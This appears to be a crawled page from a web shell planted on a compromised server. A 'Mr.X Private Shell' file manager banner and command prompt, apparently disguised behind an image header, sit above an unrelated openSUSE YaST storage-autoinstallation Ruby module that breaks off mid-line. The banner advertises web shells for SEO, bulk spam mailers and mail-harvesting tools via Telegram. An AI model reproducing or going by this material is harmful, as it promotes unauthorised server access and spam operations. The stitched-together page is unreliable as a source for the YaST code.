xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/AutoinstStorage.ycp
# Module:	Auto-Installation
# Summary:	Storage
# Authors:	Anas Nashif <nashif@suse.de>
#
# $Id$
require "yast"

module Yast
  class AutoinstStorageClass < Module

    include Yast::Logger

    # Report shrinking if it will be bigger than about 5 MBytes.
    REPORT_DISK_SHRINKING_LIMIT = 5000000

    def main
      Yast.import "UI"
      textdomain "autoinst"

      Yast.import "Storage"
      Yast.import "RootPart"
      Yast.import "Partitions"
      Yast.import "FileSystems"
      Yast.import "Summary"
      Yast.import "Popup"
      Yast.import "Report"
      Yast.import "Mode"
      Yast.import "Installation"

      # All shared data are in yast2.rpm to break cyclic dependencies
      Yast.import "AutoinstData"

      # Read existing fstab and format partitions, but dont create anything
      # Use same mountpoints etc.
      @read_fstab = false
      @ZeroNewPartitions = true

      # Fstab options
      @fstab = {}

      # Partition plan as parsed from control file
      @AutoPartPlan = []

      # Prepared target map from parsed data
      @AutoTargetMap = {}

      # default value of settings modified
      @modified = false

      @raid2device = {}

      # some architectures need a boot partition. Do we have one?
      @planHasBoot = false

      # list of devices to ignore when guessing devices
      @tabooDevices = []

      Yast.include self, "autoinstall/autopart.rb"
      Yast.include self, "autoinstall/autoinst_dialogs.rb"
    end

    # Function sets internal variable, which indicates, that any
    # settings were modified, to "true"
    def SetModified
      Builtins.y2milestone("SetModified")
      @modified = true

      nil
    end

    # Functions which returns if the settings were modified
    # @return [Boolean]  settings were modified
    def GetModified
      @modified
    end

    # Wrapper function for the LibStorage call that can't be used directly
    # in YCP
    # @return [Fixnum]
    #
    def humanStringToByte(s, b)
      s = "0b" if Builtins.size(s) == 0
      s = Ops.add(s, "b") if Builtins.findfirstof(s, "bB") == nil
      Storage.ClassicStringToByte(s)
    end

    META_TYPES = [ :CT_DMRAID, :CT_MDPART, :CT_DMMULTIPATH ]
    ALL_TYPES = META_TYPES.dup.push(:CT_DISK)

    def find_next_disk( tm, after, ctype )
      Builtins.y2milestone("find_next_disk after:\"%1\" ctype:%2", after, ctype);
      used_disk = ""
      if after.empty? && !ALL_TYPES.include?(ctype)
        tm.each do |device, disk|
          if META_TYPES.include?(disk.fetch("type")) &&
             !@tabooDevices.include?(device)
            used_disk = device
          end
        end
      end

      if after.empty? && used_disk.empty?
        tm.each do |device, disk|
          if disk["bios_id"]=="0x80" && !@tabooDevices.include?(device)
            used_disk = device
          end
        end
      end

      # device guessing code enhanced
      if used_disk.empty?
        ctype = :CT_DISK  unless ALL_TYPES.include?(ctype)
        disks = tm.select { |dev,disk| disk["type"]==ctype };
        found = !disks.keys.include?(after)
        disks.each do |device, disk|
          next if !found && device != after
          found = true if device == after
          next if device == after || @tabooDevices.include?(device)
          used_disk = device
          break
        end
      end

      Builtins.y2milestone("find_next_disk device detection: %1", used_disk)
      used_disk
    end

    # Pre-process partition plan and prepare for creating partitions.
    # @return [Hash] Auto TargetMap
    def set_devices(storage_config)
      storage_config = deep_copy(storage_config)
      Builtins.y2milestone("entering set_devices with %1", storage_config)
      first_set = false
      failed = false
      auto_targetmap = Builtins.listmap(storage_config) do |drive|
        device = ""
        Builtins.y2milestone("Working on drive: %1", drive)
        # FIXME: Check if physical drives > 1
        if Ops.get_string(drive, "device", "") == "ask"
          dev = DiskSelectionDialog()
          if dev != nil
            first_set = true
            device = dev
          end

          next { device => drive }
        end
        if !first_set &&
            (Ops.get_string(drive, "device", "") == "" ||
              Ops.get_string(drive, "device", "") == "ask")
          device = Storage.GetPartDisk
          Builtins.y2milestone("device: %1", device)
          first_set = true
          next { device => drive }
        elsif Ops.get_string(drive, "device", "") != ""
          dev = Ops.get_string(drive, "device", "")
          if dev == ""
            dev = "error"
            Builtins.y2error("Missing device name in partitioning plan")
            failed = true
          end

          next { dev => drive }
        end
        {}
      end

      return nil if failed

      auto_targetmap = Builtins.mapmap(auto_targetmap) do |device, d|
        # Convert from Old Style
        if Builtins.haskey(d, "use")
          Builtins.y2milestone(
            "converting from \"use\" to new style: %1",
            device
          )
          if Ops.get_string(d, "use", "") == "free"
            Ops.set(d, "prefer_remove", false)
          elsif Ops.get_string(d, "use", "") == "all"
            Ops.set(d, "prefer_remove", true)
          elsif Ops.get_string(d, "use", "") == "linux"
            Ops.set(d, "keep_partition_num", GetNoneLinuxPartitions(device))
            Ops.set(d, "prefer_remove", true)
          else
            uselist = Builtins.filter(
              Builtins.splitstring(Ops.get_string(d, "use", ""), ",")
            ) { |s| s != "" }
            Builtins.y2milestone("uselist: %1", uselist)
            keeplist = []
            all = GetAllPartitions(device)
            Builtins.y2milestone("all list: %1", all)
            Builtins.foreach(all) do |i|
              if !Builtins.contains(uselist, Builtins.sformat("%1", i))
                keeplist = Builtins.add(keeplist, i)
              end
            end
            Builtins.y2milestone("keeplist: %1", keeplist)
            Ops.set(d, "keep_partition_num", keeplist)

            if Ops.greater_than(Builtins.size(keeplist), 0)
              Ops.set(d, "prefer_remove", true)
            end
          end
        else
          Ops.set(d, "use", "all")
        end
        # see if <usepart> is used and add the partitions to <keep_partition_num>
        Builtins.foreach(Ops.get_list(d, "partitions", [])) do |p|
          if Ops.get_integer(p, "usepart", -1) != -1
            Ops.set(
              d,
              "keep_partition_num",
              Builtins.add(
                Ops.get_list(d, "keep_partition_num", []),
                Ops.get_integer(p, "usepart", -1)
              )
            )
          end
        end
        Ops.set(
          d,
          "keep_partition_num",
          Builtins.toset(Ops.get_list(d, "keep_partition_num", []))
        )
        { device => d }
      end

      Builtins.y2milestone(
        "processed autoyast partition plan: %1",
        auto_targetmap
      )
      deep_copy(auto_targetmap)
    end

    def GetRaidDevices(dev, tm)
      tm = deep_copy(tm)
      ret = []
      tm.each do |k, d|
        if [:CT_DISK,:CT_DMMULTIPATH].include?(d["type"])
          tmp = d.fetch("partitions",[]).select do |p|
            p["raid_name"]==dev
          end
          ret.concat(tmp)
        end
      end
      dlist = ret.map { |p| p["device"] }
      Builtins.y2milestone("GetRaidDevices dlist = %1 and ret = %2", dlist, ret)
      deep_copy(dlist)
    end

    def SearchRaids(tm)
      tm = deep_copy(tm)
      already_mapped = {}

      #    optional device order for the raid:
      #    <device>/dev/md</device>
      #    <partitions config:type="list">
      #      <partition>
      #        <raid_options>
      #          <device_order config:type="list">
      #             <device>/dev/sdc1</device>
      #             <device>/dev/sdb2</device>
      #          </device_order>
      #        </raid_options>
      #        ...
      d = Ops.get(@AutoTargetMap, "/dev/md", {})
      counter = 0
      Builtins.foreach(Ops.get_list(d, "partitions", [])) do |p|
        if Builtins.haskey(p, "raid_options") &&
            Ops.get_list(p, ["raid_options", "device_order"], []) != []
          counter = Ops.get_integer(p, "partition_nr", counter)
          order = Ops.get_list(p, ["raid_options", "device_order"], [])
	  dev = "/dev/md"+counter.to_s;
	  if p["raid_options"] && p["raid_options"].has_key?("raid_name") &&
	     !p["raid_options"]["raid_name"].empty?
	    dev = p["raid_options"]["raid_name"]
	  end
          Builtins.y2milestone(
            "found device_order %1 in raidoptions for %2", order, dev)
	  @raid2device[dev] = order
	  already_mapped[dev] = true
        end
        counter = Ops.add(counter, 1)
      end
      #raid2device = $[];
      tm.each do |k, d2|
        if [:CT_DISK,:CT_DMMULTIPATH].include?(d2["type"])
          tmp = d2.fetch("partitions",[]).select do |p|
            !p.fetch("raid_name","").empty?
          end
          devMd = tmp.map { |p| p["raid_name"] }
          devMd.each do |dev|
            next if already_mapped[dev]
            @raid2device[dev] = GetRaidDevices(dev, tm)
          end
        end
      end
      Builtins.y2milestone("SearchRaids raid2device = %1", @raid2device)

      nil
    end

    # if mountby is used, we will search for the matching
    # partition here.
    # @return [Array]
    def mountBy(settings)
      settings = deep_copy(settings)
      tm = Storage.GetTargetMap
      Builtins.y2milestone("Storage::GetTargetMap returns %1", tm)
      settings = Builtins.maplist(settings) do |d|
        device = Ops.get_string(d, "device", "")
        Ops.set(
          d,
          "partitions",
          Builtins.maplist(Ops.get_list(d, "partitions", [])) do |p|
            mountby = ""
            mountByIsList = false
            if Ops.get_string(p, "mount", "") == "swap" ||
                Ops.get_symbol(p, "filesystem", :none) == :swap
              Ops.set(p, "mount", "swap")
              Ops.set(p, "filesystem", :swap)
            end
            if Builtins.haskey(p, "mountby")
              if Ops.get_symbol(p, "mountby", :none) == :label
                mountby = "label"
              elsif Ops.get_symbol(p, "mountby", :none) == :uuid
                mountby = "uuid"
              elsif Ops.get_symbol(p, "mountby", :none) == :path
                mountby = "udev_path"
              elsif Ops.get_symbol(p, "mountby", :none) == :id
                mountByIsList = true
                mountby = "udev_id"
              elsif Ops.get_symbol(p, "mountby", :none) != :device
                Builtins.y2milestone(
                  "unknown mountby parameter '%1' will be ignored",
                  Ops.get_symbol(p, "mountby", :none)
                )
              end
            end
            # reuse partition by "mountby"
            if mountby != "" && Ops.get_boolean(p, "create", true) == false &&
                !Builtins.haskey(p, "partition_nr")
              label = Ops.get_string(p, mountby, "")
              Builtins.y2milestone(
                "mountby found for %1=%2 in part=%3",
                mountby,
                label,
                p
              )
              target = Ops.get(tm, device, {})
              if device == ""
                Builtins.y2milestone("searching for the device by %1", mountby)
                Builtins.foreach(tm) do |deviceName, tmp_target|
                  Builtins.foreach(Ops.get_list(tmp_target, "partitions", [])) do |targetPart|
                    if mountByIsList ?
                        Builtins.contains(
                          Ops.get_list(targetPart, mountby, []),
                          label
                        ) :
                        Ops.get_string(targetPart, mountby, "") == label
                      target = deep_copy(tmp_target)
                      device = deviceName
                      Builtins.y2milestone("device=%1 found", device)
                      raise Break
                    end
                  end
                end
              end
              Builtins.foreach(Ops.get_list(target, "partitions", [])) do |targetPart|
                if mountByIsList ?
                    Builtins.contains(
                      Ops.get_list(targetPart, mountby, []),
                      label
                    ) :
                    Ops.get_string(targetPart, mountby, "") == label
                  Builtins.y2milestone("%1 found in targetmap", mountby)
                  Ops.set(d, "device", device) #FIXME: for some reason this does not work
                  Ops.set(
                    p,
                    "partition_nr",
                    Ops.get_integer(targetPart, "nr", 0)
                  )
                  Ops.set(p, "usepart", Ops.get_integer(targetPart, "nr", 0))
                end
              end
            end
            deep_copy(p)
          end
        )
        deep_copy(d)
      end
      Builtins.y2milestone("after mountBy settings=%1", settings)
      deep_copy(settings)
    end

    # makes something like:
    #         <device>/dev/disk/by-id/edd-int13_dev80</device>
    #    possible (Bug #82867)
    def udev2dev(settings)
      settings = deep_copy(settings)
      tm = Storage.GetTargetMap
      last_dev = ""
      settings = Builtins.maplist(settings) do |d|
        device = Ops.get_string(d, "device", "")
        udev_string = ""
        if device == ""
          dtyp = d.fetch("type",:CT_UNKNOWN)
          d["device"] = find_next_disk(tm,last_dev,dtyp)
          Builtins.y2milestone(
            "empty device in profile set to %1", d["device"] )
        end
        # translation of by-id, by-path, ... device names.
        # was handled in autoyast until openSUSE 11.3
        deviceTranslation = {}
        if (
            deviceTranslation_ref = arg_ref(deviceTranslation);
            _GetContVolInfo_result = Storage.GetContVolInfo(
              Ops.get_string(d, "device", ""),
              deviceTranslation_ref
            );
            deviceTranslation = deviceTranslation_ref.value;
            _GetContVolInfo_result
          )
          Ops.set(d, "device", Ops.get_string(deviceTranslation, "cdevice", ""))
        end
        last_dev = Ops.get_string(d, "device", "")
        deep_copy(d)
      end
      deep_copy(settings)
    end

    def checkSizes(settings)
      settings = deep_copy(settings)
      Builtins.y2milestone("entering checkSizes with %1", settings)
      tm = Storage.GetTargetMap
      Builtins.y2milestone("targetmap = %1", tm)

      settings = Builtins.maplist(settings) do |d|
        if Ops.get_symbol(d, "type", :x) == :CT_DISK
          sizeByCyl = 0
          usedSize = 0
          max = 0
          cyl_size = 0
          Builtins.foreach(tm) do |device, v|
            if device == Ops.get_string(d, "device", "")
              sizeByCyl = Ops.multiply(
                Ops.get_integer(v, "cyl_count", 0),
                Ops.get_integer(v, "cyl_size", 0)
              )
              cyl_size = Ops.get_integer(v, "cyl_size", 0)
              Builtins.y2milestone(
                "device found in tm. sizeByCyl=%1",
                sizeByCyl
              )
            end
          end
          if sizeByCyl == 0
            Builtins.y2milestone("not found")
            next deep_copy(d)
          end
          Builtins.foreach(Ops.get_list(d, "partitions", [])) do |pe|
            usedSize = Ops.add(usedSize, Ops.get_integer(pe, "size", 0))
            if Ops.greater_than(Ops.get_integer(pe, "size", 0), max)
              max = Ops.get_integer(pe, "size", 0)
            end
          end
          if Ops.greater_than(usedSize, sizeByCyl)
            Builtins.y2milestone("usedSize too big: %1", usedSize)
            Ops.set(
              d,
              "partitions",
              Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
                s = Ops.get_integer(pe, "size", 0)
                if s == max
                  Builtins.y2milestone("shrinking %1", pe)
                  s = Ops.subtract(
                    s,
                    Ops.multiply(
                      Ops.add(
                        Ops.add(
                          Ops.divide(
                            Ops.subtract(usedSize, sizeByCyl),
                            cyl_size
                          ),
                          1
                        ),
                        Builtins.size(Ops.get_list(d, "partitions", []))
                      ),
                      cyl_size
                    )
                  ) # 1 cyl buffer per partition
                  if Ops.less_than(s, 1)
                    Report.Error(
                      Builtins.sformat(
                        _(
                          "The partition plan configured in your XML profile does not fit on the hard disk. %1MB missing"
                        ),
                        Ops.divide(
                          Ops.subtract(usedSize, sizeByCyl),
                          1024 * 1024
                        )
                      )
                    )
                    raise Break
                  else
                    usedSize = Ops.subtract(usedSize, s)
                    Builtins.y2milestone("shrinking to %1", s)
                    if (pe["size"] - s) > REPORT_DISK_SHRINKING_LIMIT
                      Report.Warning(_("Requested partition size of %s on \"%s\" will be reduced to "\
                        "%s in order to fit on disk.") %
                          [Storage.ByteToHumanString(pe["size"]), pe["mount"], Storage.ByteToHumanString(s)])
                    end
                    Ops.set(pe, "size", s)
                  end
                end
                deep_copy(pe)
              end
            )
          end
        end
        deep_copy(d)
      end
      Builtins.y2milestone("after checkSizes %1", settings)
      deep_copy(settings)
    end

    #    the resize option in the storage lib requires the new size in the
    #    "region" format. That format is hardly configureable by humans, so I
    #    do the translation here
    def region4resize(settings)
      settings = deep_copy(settings)
      # the storage lib requires the region to be set
      # we transform the size to the region here
      tm = Storage.GetTargetMap
      settings = Builtins.maplist(settings) do |d|
        if Ops.get_symbol(d, "type", :x) == :CT_DISK
          realDisk = Ops.get(tm, Ops.get_string(d, "device", ""), {})
          Ops.set(
            d,
            "partitions",
            Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
              if Ops.get_boolean(pe, "resize", false)
                currentCyl = Ops.get_integer(
                  realDisk,
                  [
                    "partitions",
                    Ops.subtract(Ops.get_integer(pe, "partition_nr", 1), 1),
                    "region",
                    1
                  ],
                  0
                )
                Ops.set(
                  pe,
                  "region",
                  Ops.get_list(
                    realDisk,
                    [
                      "partitions",
                      Ops.subtract(Ops.get_integer(pe, "partition_nr", 1), 1),
                      "region"
                    ],
                    []
                  )
                )
                if Builtins.issubstring(Ops.get_string(pe, "size", ""), "%")
                  percentage = Builtins.deletechars(
                    Ops.get_string(pe, "size", ""),
                    "%"
                  )
                  newCyl = Ops.divide(
                    Ops.multiply(currentCyl, Builtins.tointeger(percentage)),
                    100
                  )
                  Ops.set(pe, ["region", 1], newCyl)
                else
                  new_size = humanStringToByte(
                    Ops.get_string(pe, "size", "0"),
                    true
                  )
                  newCyl = Ops.divide(
                    new_size,
                    Ops.get_integer(realDisk, "cyl_size", 1)
                  )
                  Ops.set(pe, ["region", 1], newCyl)
                end
                Builtins.y2milestone(
                  "resize partition nr %1 of %2 to region: %3",
                  Ops.get_integer(pe, "partition_nr", 1),
                  Ops.get_string(d, "device", ""),
                  Ops.get_list(pe, "region", [])
                )
              end
              deep_copy(pe)
            end
          )
        end
        deep_copy(d)
      end
      Builtins.y2milestone("after region4resize = %1", settings)
      deep_copy(settings)
    end

    #     the percentage must be calculated to an actual size.
    #     This is done here
    def percent2size(settings)
      settings = deep_copy(settings)
      tm = Storage.GetTargetMap
      settings = Builtins.maplist(settings) do |d|
        if Ops.get_symbol(d, "type", :x) == :CT_DISK
          v = Ops.get(tm, Ops.get_string(d, "device", ""), {})
          Ops.set(
            d,
            "partitions",
            Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
              if Builtins.issubstring(Ops.get_string(pe, "size", ""), "%")
                percentage = Builtins.deletechars(
                  Ops.get_string(pe, "size", ""),
                  "%"
                )
                device_size = Ops.multiply(
                  Ops.get_integer(v, "cyl_count", 0),
                  Ops.get_integer(v, "cyl_size", 0)
                )
                Ops.set(
                  pe,
                  "size",
                  Builtins.sformat(
                    "%1",
                    Ops.divide(
                      Ops.multiply(device_size, Builtins.tointeger(percentage)),
                      100
                    )
                  )
                )
                Builtins.y2milestone(
                  "percentage %1 of %2 = %3",
                  percentage,
                  Ops.get_string(d, "device", ""),
                  Ops.get_string(pe, "size", "")
                )
              end
              deep_copy(pe)
            end
          )
        elsif Ops.get_symbol(d, "type", :x) == :CT_LVM
          Ops.set(
            d,
            "partitions",
            Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
              if Builtins.issubstring(Ops.get_string(pe, "size", ""), "%")
                Ops.set(
                  pe,
                  "size",
                  Builtins.deletechars(Ops.get_string(pe, "size", ""), "%")
                ) # a size smalle than 101 will be treated as % later
              end
              deep_copy(pe)
            end
          )
        end
        deep_copy(d)
      end
      Builtins.y2milestone("after percent2size = %1", settings)
      deep_copy(settings)
    end

    #     if partition type is primary but not set in the profile, set it now
    def setPartitionType(settings)
      settings = deep_copy(settings)
      tm = Storage.GetTargetMap
      settings = Builtins.maplist(settings) do |d|
        if Ops.get_symbol(d, "type", :x) == :CT_DISK
          mp = Ops.get_integer(
            tm,
            [Ops.get_string(d, "device", "xxx"), "max_primary"],
            0
          )
          if Ops.greater_than(mp, 0)
            Ops.set(
              d,
              "partitions",
              Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
                if Builtins.haskey(pe, "partition_nr") &&
                    !Builtins.haskey(pe, "partition_type") &&
                    Ops.less_or_equal(
                      Ops.get_integer(pe, "partition_nr", -1),
                      mp
                    )
                  Ops.set(pe, "partition_type", "primary")
                end
                deep_copy(pe)
              end
            )
          end
        end
        deep_copy(d)
      end
      Builtins.y2milestone("after setPartitionType = %1", settings)
      deep_copy(settings)
    end


    # Get all the configuration from a map.
    # When called by inst_auto<module name> (preparing autoinstallation data)
    # the list may be empty.
    # @param [Array<Hash>] settings a list	[...]
    # @return	[Boolean] success
    def Import(settings)
      settings = deep_copy(settings)
      Builtins.y2milestone("entering Import with %1", settings)
      if Mode.autoinst
        settings = Builtins.maplist(settings) do |d|
          d["partitions"] = d.fetch("partitions",[]).sort do |x, y|
            x.fetch("partition_nr",99)<=>y.fetch("partition_nr",99)
          end
          # snapshots are default
          d["enable_snapshots"] = true unless d.has_key?("enable_snapshots")
          deep_copy(d)
        end

        # fill tabooDevice list with devices to ignore
        initial_target_map = Storage.GetTargetMap
        Builtins.foreach(settings) do |drive|
          if Ops.get_string(drive, "device", "") != ""
            # if <device> is set, it can not end in the taboo list
            next
          end
          # XML example
          # <drive>
          #   <skip_list config:type="list">
          #     <listentry>
          #       <skip_key>driver</skip_key>
          #       <skip_value>usb-storage</skip_value>
          #     </listentry>
          #     <listentry>
          #       <skip_key>size_k</skip_key>
          #       <skip_value>1048576</skip_value>
          #       <skip_if_less_than config:type="boolean">true</skip_if_less_than>
          #     </listentry>
          #   </skip_list>
          #   ...
          Builtins.foreach(initial_target_map) do |device, disk|
            Builtins.foreach(Ops.get_list(drive, "skip_list", [])) do |toSkip|
              skipKey = Ops.get_string(toSkip, "skip_key", "__missing_key__")
              if Ops.is_string?(Ops.get(disk, skipKey))
                skipValue = Ops.get_string(toSkip, "skip_value", "__missing__")
                if Ops.get_string(disk, skipKey, "__not_found__") == skipValue
                  @tabooDevices = Builtins.add(@tabooDevices, device)
                  Builtins.y2milestone(
                    "%1 added to device taboo list (%2 == %3)",
                    device,
                    skipKey,
                    skipValue
                  )
                  raise Break
                end
              elsif Ops.is_integer?(Ops.get(disk, skipKey))
                skipValue = Builtins.tointeger(
                  Ops.get_string(toSkip, "skip_value", "0")
                )
                skipValueLess = Ops.get_boolean(
                  toSkip,
                  "skip_if_less_than",
                  false
                )
                skipValueMore = Ops.get_boolean(
                  toSkip,
                  "skip_if_more_than",
                  false
                )
                skipValueEqual = Ops.get_boolean(toSkip, "skip_if_equal", true)
                if skipValueLess &&
                    Ops.less_than(Ops.get_integer(disk, skipKey, 0), skipValue)
                  @tabooDevices = Builtins.add(@tabooDevices, device)
                  Builtins.y2milestone(
                    "%1 added to device taboo list (%2 < %3)",
                    device,
                    Ops.get_integer(disk, skipKey, 0),
                    skipValue
                  )
                elsif skipValueMore &&
                    Ops.greater_than(
                      Ops.get_integer(disk, skipKey, 0),
                      skipValue
                    )
                  @tabooDevices = Builtins.add(@tabooDevices, device)
                  Builtins.y2milestone(
                    "%1 added to device taboo list (%2 > %3)",
                    device,
                    Ops.get_integer(disk, skipKey, 0),
                    skipValue
                  )
                end
                if skipValueEqual &&
                    Ops.get_integer(disk, skipKey, 0) == skipValue
                  @tabooDevices = Builtins.add(@tabooDevices, device)
                  Builtins.y2milestone(
                    "%1 added to device taboo list (%2 == %3)",
                    device,
                    skipKey,
                    skipValue
                  )
                  raise Break
                end
              elsif Ops.is_symbol?(Ops.get(disk, skipKey))
                skipValue = Ops.get_string(toSkip, "skip_value", "`nothing")
                if Builtins.sformat(
                    "%1",
                    Ops.get_symbol(disk, skipKey, :nothing)
                  ) == skipValue
                  @tabooDevices = Builtins.add(@tabooDevices, device)
                  Builtins.y2milestone(
                    "%1 added to device taboo list (%2 == %3)",
                    device,
                    skipKey,
                    skipValue
                  )
                  raise Break
                end
              else
                Builtins.y2error(
                  "skipKey '%1' is of unknown type. Will be ignored.",
                  skipKey
                )
              end
            end
          end
        end

        settings = udev2dev(settings)
        settings = mountBy(settings)
        settings = region4resize(settings)
        settings = percent2size(settings)
        settings = setPartitionType(settings)
        settings = Builtins.maplist(settings) do |d|
          Ops.set(
            d,
            "partitions",
            Builtins.maplist(Ops.get_list(d, "partitions", [])) do |pe|
              if Builtins.haskey(pe, "size")
                if (Ops.get_string(pe, "size", "") == "auto" ||
                    Ops.get_string(pe, "size", "") == "suspend") &&
                    Ops.get_string(pe, "mount", "") == "swap"
                  Ops.set(
                    pe,
                    "size",
                    Builtins.sformat(
                      "%1",
                      Ops.multiply(
                        1024 * 1024,
                        Partitions.SwapSizeMb(
                          0,
                          Ops.get_string(pe, "size", "") == "suspend"
                        )
                      )
                    )
                  )
                elsif Ops.get_string(pe, "size", "") == "auto" &&
                      ( Ops.get_string(pe, "mount", "") == "/boot" ||
                        Partitions.IsPrepPartition(pe.fetch("partition_id", 0)) )
                  Ops.set(
                    pe,
                    "size",
                    Builtins.sformat("%1", Partitions.MinimalNeededBootsize)
                  )
                end
                if !["max","auto"].include?(pe["size"].downcase)
                  Ops.set(
                    pe,
                    "size",
                    Builtins.sformat(
                      "%1",
                      humanStringToByte(Ops.get_string(pe, "size", ""), false)
                    )
                  )
                end
              end
              deep_copy(pe)
            end
          )
          deep_copy(d)
        end
        @AutoPartPlan = preprocess_partition_config(settings)
        @AutoPartPlan = checkSizes(@AutoPartPlan)
      else
        settings = Builtins.maplist(settings) do |d|
          if !Builtins.haskey(d, "device")
            # this is just to satisfy the UI
            d = Builtins.add(d, "device", "auto")
            Builtins.y2debug("device 'auto' added")
          end
          deep_copy(d)
        end
        @AutoPartPlan = deep_copy(settings)
      end
      Builtins.y2milestone("AutoPartPlan: %1", @AutoPartPlan)

      true
    end

    # Import Fstab data
    # @param [Hash] settings Settings Map
    # @return	[Boolean] true on success
    def ImportAdvanced(settings)
      settings = deep_copy(settings)
      Builtins.y2milestone("entering ImportAdvanced with %1", settings)
      @fstab = Ops.get_map(settings, "fstab", {})
      @read_fstab = Ops.get_boolean(@fstab, "use_existing_fstab", false)

      #AutoinstLVM::ZeroNewPartitions = settings["zero_new_partitions"]:true;
      true
    end

    # return Summary of configuration
    # @return  [String] configuration summary dialog
    def Summary
      summary = ""
      summary = Summary.AddHeader(summary, _("Drives"))
      num = Builtins.size(@AutoPartPlan)
      summary = Summary.AddLine(
        summary,
        Builtins.sformat(_("Total of %1 drive"), num)
      )
      summary = Summary.OpenList(summary)
      Builtins.foreach(@AutoPartPlan) do |drive|
        summary = Summary.AddListItem(
          summary,
          Ops.get_locale(drive, "device", _("No specific device configured"))
        )
      end
      summary = Summary.CloseList(summary)
      summary
    end

    # Moved here from RootPart module (used just by this module)
    def SetFormatPartitions(fstabpart)
      fstabpart = deep_copy(fstabpart)
      # All storage devices
      target_map = Storage.GetTargetMap

      # all activated
      tmp = Builtins.filter(RootPart.GetActivated) do |e|
        Ops.get_string(e, :type, "") == "mount" ||
          Ops.get_string(e, :type, "") == "swap"
      end

      Builtins.foreach(tmp) do |e|
        mntpt = Ops.get_string(e, :type, "") == "swap" ?
          "swap" :
          Ops.get_string(e, :mntpt, "")
        part = Ops.get_string(e, :device, "")
        p = {}
        Builtins.foreach(fstabpart) do |pp|
          # mountpoint matches
          if Ops.get_string(pp, "mount", "") == mntpt
            p = deep_copy(pp)
            raise Break
          end
        end
        mount_options = ""
        Builtins.foreach(Storage.ReadFstab(Installation.destdir)) do |entry|
          if Ops.get_string(entry, "file", "") == mntpt
            mount_options = Ops.get_string(entry, "mntops", "")
            raise Break
          end
        end
        target_map = Storage.SetPartitionData(target_map, part, "mount", mntpt)
        target_map = Storage.SetPartitionData(
          target_map,
          part,
          "format",
          Ops.get_boolean(p, "format", false)
        )
        target_map = Storage.SetPartitionData(target_map, part, "delete", false)
        target_map = Storage.SetPartitionData(target_map, part, "create", false)
        if Builtins.haskey(p, "filesystem")
          target_map = Storage.SetPartitionData(
            target_map,
            part,
            "filesystem",
            Ops.get_symbol(p, "filesystem", :ext4)
          )
        end
        if Ops.greater_than(Builtins.size(mount_options), 0) &&
            !Builtins.haskey(p, "fstopt")
          target_map = Storage.SetPartitionData(
            target_map,
            part,
            "fstopt",
            mount_options
          )
        end
        if Builtins.haskey(p, "fstopt")
          target_map = Storage.SetPartitionData(
            target_map,
            part,
            "fstopt",
            Ops.get_string(p, "fstopt", "")
          )
        end
        if Builtins.haskey(p, "mountby")
          target_map = Storage.SetPartitionData(
            target_map,
            part,
            "mountby",
            Ops.get_symbol(p, "mountby", :device)
          )
        end
      end

      Storage.SetTargetMap(target_map)
      true
    end

    # Handle /etc/fstab usage
    # @return [Boolean]
    def handle_fstab
      Builtins.y2milestone("entering handle_fstab")

      if !RootPart.didSearchForRootPartitions
        UI.OpenDialog(
          Opt(:decorated),
          Label(_("Evaluating root partition. One moment please..."))
        )
        RootPart.FindRootPartitions
        UI.CloseDialog
      end

      if RootPart.numberOfValidRootPartitions == 0
        # a popup
        Popup.Message(_("No Linux root partition found."))
        return false
      end

      # We must only change RootPart::selectedRootPartition if booting
      # is inevitable.
      rp = Ops.get_string(@fstab, "root_partition", "")
      fstab_partitions = Ops.get_list(@fstab, "partitions", [])

      if RootPart.numberOfValidRootPartitions == 1
        RootPart.SetSelectedToValid
      elsif rp == ""
        Popup.Message(
          _(
            "Multiple root partitions found, but you did not configure\nwhich root partition should be used.  Automatic installation not possible.\n"
          )
        )
        return false
      elsif Builtins.haskey(RootPart.rootPartitions, rp) &&
          Ops.greater_than(RootPart.numberOfValidRootPartitions, 1)
        RootPart.selectedRootPartition = rp
      end

      RootPart.MountPartitions(RootPart.selectedRootPartition)
      SetFormatPartitions(fstab_partitions)
      RootPart.UnmountPartitions(true)
      true
    end


    # Create partition plan
    # @return [Boolean]
    def Write
      Builtins.y2milestone("entering Write")
      Storage.SetRecursiveRemoval(true)

      return handle_fstab if @read_fstab

      initial_target_map = Storage.GetTargetMap
      Builtins.y2milestone("Target map: %1", initial_target_map)

      Storage.SetPartDisk(find_next_disk(initial_target_map,"",:CT_DISK))

      @AutoTargetMap = set_devices(@AutoPartPlan)
      return false if @AutoTargetMap == nil || @AutoTargetMap == {}

      Builtins.y2milestone("AutoTargetMap: %1", @AutoTargetMap)

      # return list of available devices
      disk_devices = initial_target_map.select do |l, f|
	Storage.IsRealDisk(f)
	end.keys
      Builtins.y2milestone("disk_devices: %1", disk_devices)

      result = false
      changed = false
      Builtins.foreach(@AutoTargetMap) do |device, data|
        if Storage.IsPartitionable(data) && data.fetch("initialize", false)
          Ops.set(initial_target_map, [device, "delete"], true)
	  changed = true
          if data.has_key?("disklabel")
            Ops.set(
              initial_target_map,
              [device, "disklabel"],
	      data.fetch("disklabel", "msdos")
            )
          end
        end
      end
      if changed
	Storage.SetTargetMap(initial_target_map)
	Builtins.y2milestone( "Target map after initializing disk: %1", Storage.GetTargetMap)
      end

      Builtins.foreach(@AutoTargetMap) do |device, data|
	dlabel = data.fetch("label", "")
        if Ops.greater_than(
